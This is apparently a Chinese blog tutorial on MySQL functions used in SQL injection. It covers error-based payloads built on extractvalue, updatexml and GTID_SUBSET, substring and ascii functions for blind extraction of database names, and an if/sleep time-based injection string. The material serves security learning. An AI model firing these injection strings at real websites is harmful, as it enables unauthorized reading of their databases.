首页 > 数据库 >Web安全-SQL注入常用函数(二)

Web安全-SQL注入常用函数(二)

时间:2024-01-18 22:46:19浏览次数:24  
标签:__ Web 函数 数据库 select 参数 user SQL GTID

★★实战前置声明★★

文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

1、MySQL数据库构成

初始化安装MySQL数据库后(基于MySQL版本5.7.x),默认会创建4个系统数据库:

# 默认自带4个系统数据库
information_schema
mysql
performance_schema
sys

# 查库/表/字段名
information_schema
|__schemata # 所有数据库的名字
|__schema_name # 数据库名
|__tables # 所有表的名字
|__table_schema # 表所属数据库的名称
|__table_name # 表的名字
|__columns # 所有字段的名字
|__table_schema # 字段所属数据库的名字
|__table_name # 字段所属表的名字
|__column_name # 字段的名字

2、SQL注入常用函数使用说明

以下内容基于MySQL数据库。

2.1、系统函数

system_user()       # 系统用户名
user() # 用户名
current_user() # 当前用户名
session_user() # 连接数据库的用户名
database() # 数据库名
version() # 数据库版本
load_file() # 转成16进制或10进制MySQL读取本地文件的函数
@@datadir # 读取数据库路径
@@basedir # 安装路径
@@version_compile_os # 数据库安装所在的操作系统

2.2、报错函数

2.2.1、extractvalue()

extractvalue(xml_frag, xpath_expr)接收两个字符串参数,xml_frag表示XML标记片段,xpath_expr表示XPath表达式,也称为定位器,返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。第一个参数可以传入目标xml文档,第二个参数是用XPath路径法(示例:/a/b)表示的查找路径。如果XPath格式语法错误就会报错。SQL注入就是利用这个特性。

# 正常查询不报错
select extractvalue('<a></a>','/a/b');

# XPath格式语法错
select extractvalue('<a></a>','~');

# 报错信息
> 1105 - XPATH syntax error: '~'

SQL注入可以使用使用~的ascii码值0x7e拼接报错获取到想到的数据

字符型: 'and+(extractvalue(1,concat(0x7e,(select+user()),0x7e)))='1
数字型: and (extractvalue(1,concat(0x7e,(select user()),0x7e)))=1
2.2.2、updatexml()

updatexml(xml_doc, XPath_str, new_value) 参数一是String格式,XML文档对象名称,参数二:XPath格式语法(示例:/a/b),参数三是String格式,替换查找到的符合条件的数据。

字符型: 'and+(updatexml(1,concat(0x7e,(select+user()),0x7e),1))='1
数字型: and+(updatexml(1,concat(0x7e,(select+user()),0x7e),1))=1
2.2.3、GTID

GTID是MySQL数据库每次提交事务后生成的一个全局事务标识符,GTID不仅在本服务器上是唯一的,其在复制拓扑中也是唯一的。GTID_SUBSET(set1, set2 ) 在set1中的GTID也在set2中,否则返回false(set1是set2的子集),GTID_SUBTRACT(set1, set2)返回在set1中,不在set2中的GTID集合(set1和set2的差集)。

# 查询报错
select GTID_SUBSET(user(),1);
select GTID_SUBTRACT(user(),1);

# 报错信息
> Malformed GTID set specification 'root@localhost'.

SQL注入拼接

'-GTID_SUBSET(user(),1)-'
# 或
'-GTID_SUBTRACT(user(),1)-'

2.3、截取函数

2.3.1、left

left(Str, index) ,参数一:待截取的字符串,参数二:从左边开始共截取多少位,举例:数据库名:security,

left(database(),1) ='s' # 结果:1-true, 0-false
left(database(),2) ='se' # 结果:1-true, 0-false

SQL注入时可以配合Burp Suite,快速爆破数据库名。

2.3.2、mid

mid(Str, start [, length]),参数一:必须,待截取的字符串,参数二:必须,起始值(从1开始),参数三:可选,要截取的长度,没传值则是参数的长度。

mid(database(),1,1) ='s' # 结果:1-true, 0-false

功能同left。

2.3.3、substr

substr()和substring()函数功能一样,都为截取字符串。substr(Str, start [, length])和substring(Str, start [, length]) 两个函数,参数一样。参数一:必须,待截取的字符串,参数二:必须,起始值(从1开始),参数三:可选,要截取的长度,没传值则是参数的长度。举例:数据库名:security,

substr(database(),1,1) ='s' # 结果:1-true, 0-false
substring(database(),1,1) ='s' # 结果:1-true, 0-false

2.4、判断函数

2.4.1、if

if(a, b, c)当a 为真时执行b; a为假时执行c。常用在时间盲注 and+if(1=1, sleep(1), sleep(5))--+

2.4.2、case when

case when 条件 then 正确的结果 else 错误的结果 end

2.5、其他函数

2.5.1、ascii

ascii(str)返回字符串的ascii码,在SQL注入中经常结合substr()函数一起使用,举例:数据库名:security,

select ascii(substr(database(),1,1));

# 查询结果是 115, s的ascii码是115

ASCII码转换和对照查询表:https://www.ghostgroup.cn/ascii/ascii.html

2.5.2、length

length(str)返回字符串的字节长度,举例:数据库名:security,

select length(database());
# 查询结果是 8
2.5.3、hex

hex(str)返回字符串的十六进制,在URL不可以出现@等特殊字符时可以该函数进行转换,再通过在线网站转换回来

select hex(user());

# 查询结果值
726F6F74406C6F63616C686F7374

到在线工具类网站:https://www.tomeko.net/online_tools/hex_to_ascii.php?lang=en 转换得到结果

 

 3、敬请关注我的公众号

敬请关注我的公众号:大象只为你,跟我学网安知识系列文章持续更新中......

   

标签:__,Web,函数,数据库,select,参数,user,SQL,GTID
From: https://www.cnblogs.com/huangxiufen/p/17973566

相关文章

  • WebGL之贴图处理(基础)
    一,index.html二,shader.js/***加载图片*@paramimageName*@parampork*@paramcallback*/functionloadImage(imageName,pork,callback){ constimage=newImage(); image.src="http://127.0.0.1:"+pork+"/WebGLDemo/textures/"+......
  • wireshark实践 - 调试spring连接mysql失败问题
    问题描述spring:datasource:driver-class-name:com.mysql.jdbc.Driverurl:jdbc:jdbc:mysql://122.224.147.xxx:90/dev?characterEncoding=utf8username:xxxpassword:xxxtype:com.alibaba.druid.pool.DruidDataSourceurl格式写错了(两个jdbc),然......
  • ubtunu安装mysql5.7
    1.官网:mysql下载链接官网地址 2.我们新建一个文件夹,路径/usr/local/mysql这里选择下载5.7.29的ubuntu版本注意是amd64不是arm64,或者执行下面命令wgethttps://downloads.mysql.com/archives/get/p/23/file/mysql-server_5.7.29-1ubuntu18.04_amd64.deb-bundle.tar1解压下载下......
  • mysql8.0索引数据结构
    1、为什么使用索引假如给数据使用二叉树这样的数据结构进行存储,如下图所示2、索引及其优缺点2.1、索引概述2.2、优点(1)类似大学图书馆建书目索引,提高数据检索的效率,降低数据库的IO成本,这也是创建索引最主要的原因。(2)通过创建唯一索引,可以保证数据库表中每一行数据的唯一性......
  • 无涯教程-SQLite - 连接Perl
    在本章中,您将学习如何在Perl程序中使用SQLite。安装可以使用PerlDBI模块将SQLite3与Perl集成,该模块是Perl编程语言的数据库访问模块。它定义了一组提供标准数据库接口的方法,变量和约定。以下是在Linux/UNIX计算机上安装DBI模块的简单步骤-$wgethttp://search.cpan.org/CPAN......
  • python ssh连接mysql
    fromsshtunnelimportSSHTunnelForwarderimportpymysqlclassMySqlSSH:def__init__(self):self.server=SSHTunnelForwarder(ssh_address_or_host=('13.229.92.6',22),#sshhostssh_username='lenox......
  • mysql 被删除如何恢复
    恢复ibd使用-------OnDebian/Ubuntu/LinuxMint-------$sudoapt-getinstalltestdisk-------OnCentOS/RHEL/Fedora-------$sudoyuminstalltestdisk-------OnFedora22+-------$sudodnfinstalltestdisk-------OnArchLinux-------$pacman-Ste......
  • SQL Sever统计二次存款明细
    SELECT*from(SELECTt1.DisplayName,t.UserId,t.OrderId,t.FillMoneyAgent,t.GoodsName,t.GoodsDescription,t.ResponseMoney,t.ResponseTime,ROW_NUMBER()over(partitionbyCONVERT(VARCHAR(10),t.ResponseTime,120),t.UserIdorderbyt.ResponseTime)asRankNum......
  • 无涯教程-SQLite - 连接PHP
    在本章中,您将学习如何在PHP程序中使用SQLite。安装从PHP5.3.0起默认启用SQLite3扩展。可以在编译时使用-without-sqlite3禁用它。Windows用户必须启用php_sqlite3.dll才能使用此扩展名。从PHP5.3.0开始,此DLL包含在Windows的PHP发行版中。有关详细的安装说明,请查看无涯教程......
  • [GFCTF 2021]web部分题解(更新中ing)
    [GFCTF2021]Baby_Web拿源码环节:打开环境(◡ᴗ◡✿)乍一看什么都没有,F12下没看到js文件,但是看到了出题师傅的提示:“源码藏在上层目录xxx.php.txt里面,但你怎么才能看到它呢?”这时候在思考文件在上层目录中,既然是目录下那就试一下dirsearch扫描先看看后台都有什么(这里就直接......